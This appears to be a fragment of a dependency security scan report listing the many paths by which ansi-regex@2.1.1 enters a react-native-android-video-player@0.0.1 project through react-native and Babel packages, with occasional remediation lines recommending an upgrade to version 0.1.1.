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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-es2015-node@6.1.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-es2015-node@6.1.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-es2015-node@6.1.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-es2015-node@6.1.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-class-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-class-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-es2015-node@6.1.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-es2015-node@6.1.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-es2015-node@6.1.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-class-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-tar@3.1.0 › strip-dirs@1.1.1 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-tarbz2@3.1.0 › strip-dirs@1.1.1 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-targz@3.1.0 › strip-dirs@1.1.1 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-unzip@3.4.0 › strip-dirs@1.1.1 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-es2015-node@6.1.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
